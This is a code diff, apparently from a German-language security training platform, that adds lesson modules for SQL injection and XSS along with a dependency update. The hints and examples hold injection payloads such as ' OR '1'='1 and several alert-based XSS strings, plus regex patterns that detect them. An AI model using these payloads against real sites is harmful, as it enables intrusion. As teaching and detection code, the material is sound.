productsColumns: ['id', 'name', 'price', 'category', 'stock'],
usersColumns: ['id', 'username', 'password', 'role']
},
initialHint: {
title: '💡 Einstiegshilfe',
content: 'Du hast erfahren, dass dieser Shop anfällig für SQL Injection ist. Beginne mit einem einfachen Test: Gib ein Anführungszeichen (\') ein und beobachte was passiert. Dann versuche den Filter zu umgehen.',
examples: [
{ label: "Challenge 1", payload: "'", description: "Entdecke die Schwachstelle" },
{ label: "Challenge 2", payload: "' OR '1'='1", description: "Zeige alle Produkte (Filter umgehen)" }
]
}
};
}
return null;
return await super.getInteractiveData(stepId);
}
}

View File

@ -0,0 +1,462 @@
const LessonModule = require('../base/LessonModule');
/**
* Comprehensive XSS Lesson
* Demonstrates both reflected XSS (URL parameters) and stored XSS (forum comments)
* Features: Variant discovery tracking, hint system, time limits
*/
class XSSComprehensiveLesson extends LessonModule {
constructor(config) {
super(config);
// Track discovered variants per participant
this.discoveredVariants = new Map(); // participantId -> Set of variant types
// Track step start times per participant
this.stepStartTimes = new Map(); // participantId -> timestamp
// Track hints used per participant
this.hintsUsed = new Map(); // participantId -> { stepId: count }
// Maximum time to earn points (15 minutes)
this.MAX_TIME_FOR_POINTS = 15 * 60 * 1000;
// Point deduction per hint
this.HINT_PENALTY = 5;
// Total XSS variants to discover
this.TOTAL_VARIANTS = 9;
}
/**
* XSS variant patterns to discover
*/
getVariantPatterns() {
return [
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG', name: 'Script Tag' },
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER', name: 'Event Handler (quoted)' },
{ regex: /on\w+\s*=\s*[^"\s>]+/gi, type: 'EVENT_HANDLER_UNQUOTED', name: 'Event Handler (unquoted)' },
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL', name: 'JavaScript Protocol' },
{ regex: /<iframe/gi, type: 'IFRAME_TAG', name: 'IFrame Tag' },
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR', name: 'Image Error Handler' },
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD', name: 'SVG Onload' },
{ regex: /<object/gi, type: 'OBJECT_TAG', name: 'Object Tag' },
{ regex: /<embed/gi, type: 'EMBED_TAG', name: 'Embed Tag' }
];
}
/**
* Start interactive step timer
*/
startStepTimer(participantId, stepId) {
const key = `${participantId}-${stepId}`;
if (!this.stepStartTimes.has(key)) {
this.stepStartTimes.set(key, Date.now());
}
return {
started: true,
startTime: this.stepStartTimes.get(key)
};
}
/**
* Check if time limit has been exceeded
*/
isTimeExpired(participantId, stepId) {
const key = `${participantId}-${stepId}`;
const startTime = this.stepStartTimes.get(key);
if (!startTime) {
return false;
}
const elapsed = Date.now() - startTime;
return elapsed > this.MAX_TIME_FOR_POINTS;
}
/**
* Get elapsed time in milliseconds
*/
getElapsedTime(participantId, stepId) {
const key = `${participantId}-${stepId}`;
const startTime = this.stepStartTimes.get(key);
if (!startTime) {
return 0;
}
return Date.now() - startTime;
}
/**
* Get remaining time in milliseconds
*/
getRemainingTime(participantId, stepId) {
const elapsed = this.getElapsedTime(participantId, stepId);
const remaining = this.MAX_TIME_FOR_POINTS - elapsed;
return Math.max(0, remaining);
}
/**
* Detect XSS patterns and return all matching types
*/
detectAllXSSTypes(input) {
const patterns = this.getVariantPatterns();
const detectedTypes = [];
for (const pattern of patterns) {
if (pattern.regex.test(input)) {
detectedTypes.push(pattern.type);
}
}
return detectedTypes;
}
/**
* Detect primary XSS type (first match)
*/
detectXSS(input) {
const types = this.detectAllXSSTypes(input);
return types.length > 0 ? types[0] : null;
}
/**
* Track discovered variant
*/
trackDiscoveredVariant(participantId, variantType) {
if (!this.discoveredVariants.has(participantId)) {
this.discoveredVariants.set(participantId, new Set());
}
const discovered = this.discoveredVariants.get(participantId);
const wasNew = !discovered.has(variantType);
if (wasNew) {
discovered.add(variantType);
}
return {
isNew: wasNew,
discovered: discovered.size,
total: this.TOTAL_VARIANTS,
remaining: this.TOTAL_VARIANTS - discovered.size
};
}
/**
* Get discovery progress
*/
getDiscoveryProgress(participantId) {
const discovered = this.discoveredVariants.get(participantId) || new Set();
const patterns = this.getVariantPatterns();
return {
discovered: discovered.size,
total: this.TOTAL_VARIANTS,
remaining: this.TOTAL_VARIANTS - discovered.size,
variants: patterns.map(p => ({
type: p.type,
name: p.name,
discovered: discovered.has(p.type)
}))
};
}
/**
* Get hint for participant
*/
getHint(participantId, stepId, hintLevel) {
const key = `${participantId}-${stepId}`;
if (!this.hintsUsed.has(participantId)) {
this.hintsUsed.set(participantId, {});
}
const participantHints = this.hintsUsed.get(participantId);
participantHints[stepId] = (participantHints[stepId] || 0) + 1;
const hintCount = participantHints[stepId];
const pointsDeducted = hintCount * this.HINT_PENALTY;
// Hint progression
const hints = {
'xss-demo': [
'Tipp 1: Versuchen Sie HTML-Tags in das URL-Parameter einzufügen',
'Tipp 2: Verwenden Sie <script> Tags oder Event-Handler wie onclick, onerror, onload',
'Tipp 3: Versuchen Sie: <script>alert(1)</script> oder <img src=x onerror="alert(1)">',
'Tipp 4: Andere Varianten: <svg onload="...">, <iframe src="javascript:...">, javascript: Protocol'
],
'forum-demo': [
'Tipp 1: Versuchen Sie bösartigen Code in Kommentare einzufügen',
'Tipp 2: Script-Tags und Event-Handler funktionieren auch in Kommentaren',
'Tipp 3: Versuchen Sie verschiedene HTML-Tags: <script>, <img>, <svg>, <iframe>',
'Tipp 4: Kombinieren Sie Tags mit Event-Handlern: onerror, onload, onclick'
]
};
const stepHints = hints[stepId] || [];
const hintText = stepHints[Math.min(hintCount - 1, stepHints.length - 1)] || 'Keine weiteren Hinweise verfügbar';
return {
hint: hintText,
hintsUsed: hintCount,
pointsDeducted,
totalPointsDeducted: pointsDeducted
};
}
/**
* Analyze XSS payload
*/
analyzeXSS(input) {
const type = this.detectXSS(input);
const explanations = {
'SCRIPT_TAG': {
title: 'Script Tag Injection',
description: '⚠️ Script-Tag erkannt! Kann beliebigen JavaScript-Code ausführen.',
impact: 'Angreifer können Cookies stehlen, das DOM manipulieren, Benutzer umleiten oder beliebiges JavaScript ausführen.',
severity: 'high'
},
'EVENT_HANDLER': {
title: 'Event Handler Injection',
description: '⚠️ Event-Handler-Attribut erkannt! Löst JavaScript bei Benutzerinteraktion aus.',
impact: 'Kann Code ausführen, wenn Benutzer mit dem Element interagieren (Klick, Hover, etc.).',
severity: 'high'
},
'EVENT_HANDLER_UNQUOTED': {
title: 'Event Handler Injection (Unquoted)',
description: '⚠️ Event-Handler ohne Anführungszeichen erkannt!',
impact: 'Kann Code bei Events ausführen.',
severity: 'high'
},
'JAVASCRIPT_PROTOCOL': {
title: 'JavaScript Protocol',
description: '⚠️ JavaScript-Protokoll erkannt! Kann Code beim Klicken ausführen.',
impact: 'Wird oft in href-Attributen verwendet, um JavaScript beim Klicken eines Links auszuführen.',
severity: 'medium'
},
'IFRAME_TAG': {
title: 'IFrame Injection',
description: '⚠️ IFrame-Tag erkannt! Kann bösartige externe Inhalte laden.',
impact: 'Kann Phishing-Seiten oder bösartige Inhalte aus externen Quellen einbetten.',
severity: 'high'
},
'IMG_ONERROR': {
title: 'Image Error Handler',
description: '⚠️ Bild mit onerror-Handler erkannt! Führt JavaScript aus, wenn das Bild nicht geladen werden kann.',
impact: 'Bei ungültiger Bildquelle wird das onerror-Event immer ausgelöst und führt die Payload aus.',
severity: 'high'
},
'SVG_ONLOAD': {
title: 'SVG Onload Handler',
description: '⚠️ SVG mit onload-Handler erkannt! Führt JavaScript beim Laden aus.',
impact: 'SVG-Tags können Inline-Event-Handler enthalten, die sofort ausgeführt werden.',
severity: 'high'
},
'OBJECT_TAG': {
title: 'Object Tag Injection',
description: '⚠️ Object-Tag erkannt! Kann gefährliche Inhalte einbetten.',
impact: 'Kann verwendet werden, um externe Ressourcen zu laden oder Code auszuführen.',
severity: 'medium'
},
'EMBED_TAG': {
title: 'Embed Tag Injection',
description: '⚠️ Embed-Tag erkannt! Kann externe Ressourcen laden.',
impact: 'Kann verwendet werden, um bösartige Plugins oder Inhalte einzubetten.',
severity: 'medium'
}
};
if (type && explanations[type]) {
return {
type,
isXSS: true,
...explanations[type]
};
}
return {
type: null,
isXSS: false,
title: 'Keine XSS erkannt',
description: '✅ Keine XSS-Muster in der Eingabe gefunden.',
impact: 'Diese Eingabe scheint sicher zu sein.',
severity: 'none'
};
}
/**
* Sanitize HTML for safe display
*/
sanitizeHTML(input) {
return input
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Test XSS payload (for reflected XSS demo)
*/
testXSSPayload(participantId, payload, stepId = 'xss-demo') {
const analysis = this.analyzeXSS(payload);
const sanitized = this.sanitizeHTML(payload);
// Track all discovered variants
const detectedTypes = this.detectAllXSSTypes(payload);
let progress = this.getDiscoveryProgress(participantId);
if (analysis.isXSS) {
// Track all detected types
detectedTypes.forEach(type => {
const trackResult = this.trackDiscoveredVariant(participantId, type);
progress = trackResult;
});
}
// Check time limit
const timeExpired = this.isTimeExpired(participantId, stepId);
const remainingTime = this.getRemainingTime(participantId, stepId);
return {
originalPayload: payload,
sanitizedPayload: sanitized,
isXSS: analysis.isXSS,
attackType: analysis.type,
attackTitle: analysis.title,
explanation: analysis.description,
impact: analysis.impact,
severity: analysis.severity,
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
comparisonHTML: {
vulnerable: `<div class="product-name">${payload}</div>`,
safe: `<div class="product-name">${sanitized}</div>`
},
// Discovery tracking
progress: this.getDiscoveryProgress(participantId),
isNewDiscovery: detectedTypes.length > 0,
// Timing
timeExpired,
remainingTime,
canEarnPoints: !timeExpired
};
}
/**
* Add a comment to the forum (for stored XSS demo)
*/
addComment(participantId, author, content, stepId = 'forum-demo') {
const hasInjection = this.detectXSS(content) !== null;
const analysis = this.analyzeXSS(content);
const sanitized = this.sanitizeHTML(content);
// Track discovered variants
const detectedTypes = this.detectAllXSSTypes(content);
let progress = this.getDiscoveryProgress(participantId);
if (hasInjection) {
detectedTypes.forEach(type => {
const trackResult = this.trackDiscoveredVariant(participantId, type);
progress = trackResult;
});
}
// Check time limit
const timeExpired = this.isTimeExpired(participantId, stepId);
const remainingTime = this.getRemainingTime(participantId, stepId);
return {
id: Date.now(),
author: author || 'Anonymous',
content: content,
sanitizedContent: sanitized,
timestamp: new Date().toISOString(),
hasInjection,
injectionType: analysis.type,
injectionSeverity: analysis.severity,
injectionDescription: analysis.description,
injectionExample: analysis.impact,
// Discovery tracking
progress: this.getDiscoveryProgress(participantId),
isNewDiscovery: detectedTypes.length > 0,
// Timing
timeExpired,
remainingTime,
canEarnPoints: !timeExpired
};
}
/**
* Get interactive data for demo steps
*/
async getInteractiveData(stepId) {
// Reflected XSS demo data
if (stepId === 'xss-demo') {
return {
baseUrl: 'https://example-shop.com/product',
parameterName: 'name',
freeHints: [
'Suchen Sie nach Möglichkeiten, HTML-Code einzufügen',
'Versuchen Sie verschiedene Tags: <script>, <img>, <svg>, <iframe>',
'Event-Handler können auch ohne Tags funktionieren',
'Es gibt insgesamt 9 verschiedene XSS-Varianten zu entdecken'
],
totalVariants: this.TOTAL_VARIANTS,
timeLimit: this.MAX_TIME_FOR_POINTS
};
}
// Stored XSS forum demo data
if (stepId === 'forum-demo') {
return {
forumPost: {
id: 1,
title: 'Willkommen im Sicherheitsforum!',
author: 'Admin',
content: 'Dies ist ein Demonstrationsforum zum Lernen über Stored-XSS-Schwachstellen. Posten Sie gerne Kommentare unten. Versuchen Sie sowohl sichere Kommentare als auch XSS-Payloads, um zu sehen, wie das System sie erkennt.',
timestamp: '2026-02-08T10:00:00Z'
},
initialComments: [
{
id: 1,
author: 'Alice',
content: 'Toller Beitrag! Ich freue mich darauf, mehr über Sicherheit zu lernen.',
timestamp: '2026-02-08T10:05:00Z',
hasInjection: false
},
{
id: 2,
author: 'Bob',
content: 'Danke fürs Teilen dieser Informationen.',
timestamp: '2026-02-08T10:10:00Z',
hasInjection: false
},
{
id: 3,
author: 'Charlie',
content: 'Sehr informativ! Kann es kaum erwarten, die Demos auszuprobieren.',
timestamp: '2026-02-08T10:15:00Z',
hasInjection: false
}
],
freeHints: [
'Versuchen Sie, Code in Kommentare einzufügen',
'Stored XSS bleibt in der Datenbank gespeichert',
'Verwenden Sie ähnliche Techniken wie bei Reflected XSS',
'Es gibt 9 verschiedene Varianten zu entdecken'
],
totalVariants: this.TOTAL_VARIANTS,
timeLimit: this.MAX_TIME_FOR_POINTS
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = XSSComprehensiveLesson;

View File

@ -0,0 +1,242 @@
const LessonModule = require('../base/LessonModule');
/**
* XSS Deeplink Demo Lesson
* Demonstrates cross-site scripting via URL parameter manipulation
*/
class XSSDeeplinkLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Detect XSS patterns in user input
* @param {string} input - User-provided payload
* @returns {string|null} Attack type or null if safe
*/
detectXSS(input) {
const patterns = [
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG' },
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER' },
{ regex: /on\w+\s*=\s*/gi, type: 'EVENT_HANDLER_SIMPLE' },
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL' },
{ regex: /<iframe/gi, type: 'IFRAME_TAG' },
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR' },
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD' },
{ regex: /<object/gi, type: 'OBJECT_TAG' },
{ regex: /<embed/gi, type: 'EMBED_TAG' }
];
for (const pattern of patterns) {
if (pattern.regex.test(input)) {
return pattern.type;
}
}
return null;
}
/**
* Analyze XSS payload and provide educational explanation
* @param {string} input - User-provided payload
* @returns {Object} Analysis result
*/
analyzeXSS(input) {
const type = this.detectXSS(input);
const explanations = {
'SCRIPT_TAG': {
title: 'Script Tag Injection',
description: '⚠️ Script tag detected! This can execute arbitrary JavaScript code.',
impact: 'Attackers can steal cookies, manipulate the DOM, redirect users, or execute any JavaScript.',
severity: 'high'
},
'EVENT_HANDLER': {
title: 'Event Handler Injection',
description: '⚠️ Event handler attribute detected! This triggers JavaScript on user interaction.',
impact: 'Can execute code when user interacts with the element (click, hover, etc.).',
severity: 'high'
},
'EVENT_HANDLER_SIMPLE': {
title: 'Event Handler Injection',
description: '⚠️ Event handler detected! This can trigger JavaScript execution.',
impact: 'Can execute code when specific events occur on the page.',
severity: 'high'
},
'JAVASCRIPT_PROTOCOL': {
title: 'JavaScript Protocol',
description: '⚠️ JavaScript protocol detected! This can execute code when clicked.',
impact: 'Often used in href attributes to execute JavaScript when a link is clicked.',
severity: 'medium'
},
'IFRAME_TAG': {
title: 'IFrame Injection',
description: '⚠️ IFrame tag detected! This can load malicious external content.',
impact: 'Can embed phishing pages or malicious content from external sources.',
severity: 'high'
},
'IMG_ONERROR': {
title: 'Image Error Handler',
description: '⚠️ Image with onerror handler detected! This executes JavaScript when image fails to load.',
impact: 'By using an invalid image source, the onerror event always fires, executing the payload.',
severity: 'high'
},
'SVG_ONLOAD': {
title: 'SVG Onload Handler',
description: '⚠️ SVG with onload handler detected! This executes JavaScript when SVG loads.',
impact: 'SVG tags can contain inline event handlers that execute immediately.',
severity: 'high'
},
'OBJECT_TAG': {
title: 'Object Tag Injection',
description: '⚠️ Object tag detected! This can embed dangerous content.',
impact: 'Can be used to load external resources or execute code.',
severity: 'medium'
},
'EMBED_TAG': {
title: 'Embed Tag Injection',
description: '⚠️ Embed tag detected! This can load external resources.',
impact: 'Can be used to embed malicious plugins or content.',
severity: 'medium'
}
};
if (type && explanations[type]) {
return {
type,
isXSS: true,
...explanations[type]
};
}
return {
type: null,
isXSS: false,
title: 'No XSS Detected',
description: '✅ No XSS patterns found in the input.',
impact: 'This input appears safe.',
severity: 'none'
};
}
/**
* Sanitize HTML for safe display
* @param {string} input - User input
* @returns {string} Sanitized output
*/
sanitizeHTML(input) {
return input
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Test XSS payload and return comparison data
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} payload - User-provided payload to test
* @param {string} stepId - Step identifier
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Test results
*/
async testXSSPayload(participantId, payload, stepId, eventLessonId) {
const analysis = this.analyzeXSS(payload);
const sanitized = this.sanitizeHTML(payload);
// Award points based on XSS type discovered
let pointsAwarded = 0;
if (analysis.isXSS && participantId && eventLessonId) {
const pointsMap = {
'SCRIPT_TAG': 35, // Classic script tag
'EVENT_HANDLER': 35, // Event handler
'EVENT_HANDLER_SIMPLE': 30, // Simple event handler
'JAVASCRIPT_PROTOCOL': 25, // JavaScript URL
'IFRAME_TAG': 40, // IFrame injection
'IMG_ONERROR': 35, // Image error XSS
'SVG_ONLOAD': 40, // SVG XSS
'OBJECT_TAG': 30, // Object tag
'EMBED_TAG': 30 // Embed tag
};
pointsAwarded = pointsMap[analysis.type] || 20;
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`XSS via URL parameter: ${analysis.type}`);
} catch (error) {
console.error('Failed to award XSS points:', error);
}
}
return {
originalPayload: payload,
sanitizedPayload: sanitized,
isXSS: analysis.isXSS,
attackType: analysis.type,
attackTitle: analysis.title,
explanation: analysis.description,
impact: analysis.impact,
severity: analysis.severity,
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
comparisonHTML: {
vulnerable: `<div class="product-name">${payload}</div>`,
safe: `<div class="product-name">${sanitized}</div>`
},
pointsAwarded
};
}
/**
* Get interactive data for XSS demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'xss-demo') {
return {
baseUrl: 'https://example-shop.com/product',
parameterName: 'name',
examples: [
{
label: 'Normal Search',
payload: 'Laptop',
description: 'Safe product search'
},
{
label: 'Script Alert',
payload: '<script>alert("XSS")</script>',
description: 'Classic XSS attack with script tag'
},
{
label: 'Image Onerror',
payload: '<img src=x onerror="alert(1)">',
description: 'XSS via broken image error handler'
},
{
label: 'Event Handler',
payload: '" onload="alert(1)"',
description: 'XSS via event handler injection'
},
{
label: 'SVG Onload',
payload: '<svg onload="alert(1)">',
description: 'XSS via SVG element'
},
{
label: 'JavaScript Protocol',
payload: 'javascript:alert(1)',
description: 'XSS via JavaScript URL protocol'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = XSSDeeplinkLesson;

View File

@ -9,7 +9,7 @@
"version": "1.0.0",
"license": "ISC",
"dependencies": {
"bcrypt": "^5.1.1",
"bcryptjs": "^3.0.3",
"cors": "^2.8.5",
"dotenv": "^16.3.1",
"express": "^4.18.2",
@ -25,32 +25,6 @@
"nodemon": "^3.0.2"
}
},
"node_modules/@mapbox/node-pre-gyp": {
"version": "1.0.11",
"resolved": "https://registry.npmjs.org/@mapbox/node-pre-gyp/-/node-pre-gyp-1.0.11.tgz",
"integrity": "sha512-Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ==",
"license": "BSD-3-Clause",
"dependencies": {
"detect-libc": "^2.0.0",
"https-proxy-agent": "^5.0.0",
"make-dir": "^3.1.0",
"node-fetch": "^2.6.7",
"nopt": "^5.0.0",
"npmlog": "^5.0.1",
"rimraf": "^3.0.2",
"semver": "^7.3.5",
"tar": "^6.1.11"
},
"bin": {
"node-pre-gyp": "bin/node-pre-gyp"
}
},
"node_modules/abbrev": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
"integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==",
"license": "ISC"
},
"node_modules/accepts": {
"version": "1.3.8",
"resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
@ -64,50 +38,6 @@
"node": ">= 0.6"
}
},
"node_modules/agent-base": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
"integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
"license": "MIT",
"dependencies": {
"debug": "4"
},
"engines": {
"node": ">= 6.0.0"
}
},
"node_modules/agent-base/node_modules/debug": {
"version": "4.4.3",
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
"integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
"license": "MIT",
"dependencies": {
"ms": "^2.1.3"
},
"engines": {
"node": ">=6.0"
},
"peerDependenciesMeta": {
"supports-color": {
"optional": true
}
}
},
"node_modules/agent-base/node_modules/ms": {
"version": "2.1.3",
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
"integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
"license": "MIT"
},
"node_modules/ansi-regex": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
"integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
"license": "MIT",
"engines": {
"node": ">=8"
}
},
"node_modules/anymatch": {
"version": "3.1.3",
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
@ -122,26 +52,6 @@
"node": ">= 8"
}
},
"node_modules/aproba": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz",
"integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==",
"license": "ISC"
},
"node_modules/are-we-there-yet": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz",
"integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==",
"deprecated": "This package is no longer supported.",
"license": "ISC",
"dependencies": {
"delegates": "^1.0.0",
"readable-stream": "^3.6.0"
},
"engines": {
"node": ">=10"
}
},
"node_modules/argparse": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@ -158,6 +68,7 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
"integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
"dev": true,
"license": "MIT"
},
"node_modules/basic-auth": {
@ -178,18 +89,13 @@
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
"license": "MIT"
},
"node_modules/bcrypt": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/bcrypt/-/bcrypt-5.1.1.tgz",
"integrity": "sha512-AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww==",
"hasInstallScript": true,
"license": "MIT",
"dependencies": {
"@mapbox/node-pre-gyp": "^1.0.11",
"node-addon-api": "^5.0.0"
},
"engines": {
"node": ">= 10.0.0"
"node_modules/bcryptjs": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/bcryptjs/-/bcryptjs-3.0.3.tgz",
"integrity": "sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g==",
"license": "BSD-3-Clause",
"bin": {
"bcrypt": "bin/bcrypt"
}
},
"node_modules/binary-extensions": {
@ -233,6 +139,7 @@
"version": "1.1.12",
"resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
"integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
"dev": true,
"license": "MIT",
"dependencies": {
"balanced-match": "^1.0.0",
@ -321,36 +228,13 @@
"fsevents": "~2.3.2"
}
},
"node_modules/chownr": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz",
"integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==",
"license": "ISC",
"engines": {
"node": ">=10"
}
},
"node_modules/color-support": {
"version": "1.1.3",
"resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
"integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
"license": "ISC",
"bin": {
"color-support": "bin.js"
}
},
"node_modules/concat-map": {
"version": "0.0.1",
"resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
"integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
"dev": true,
"license": "MIT"
},
"node_modules/console-control-strings": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz",
"integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==",
"license": "ISC"
},
"node_modules/content-disposition": {
"version": "0.5.4",
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
@ -409,12 +293,6 @@
"ms": "2.0.0"
}
},
"node_modules/delegates": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz",
"integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==",
"license": "MIT"
},
"node_modules/depd": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
@ -434,15 +312,6 @@
"npm": "1.2.8000 || >= 1.4.16"
}
},
"node_modules/detect-libc": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
"integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
"license": "Apache-2.0",
"engines": {
"node": ">=8"
}
},
"node_modules/dotenv": {
"version": "16.6.1",
"resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz",
@ -484,12 +353,6 @@
"integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
"license": "MIT"
},
"node_modules/emoji-regex": {
"version": "8.0.0",
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
"integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
"license": "MIT"
},
"node_modules/encodeurl": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
@ -652,36 +515,6 @@
"node": ">= 0.6"
}
},
"node_modules/fs-minipass": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
"integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
"license": "ISC",
"dependencies": {
"minipass": "^3.0.0"
},
"engines": {
"node": ">= 8"
}
},
"node_modules/fs-minipass/node_modules/minipass": {
"version": "3.3.6",
"resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
"integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
"license": "ISC",
"dependencies": {
"yallist": "^4.0.0"
},
"engines": {
"node": ">=8"
}
},
"node_modules/fs.realpath": {
"version": "1.0.0",
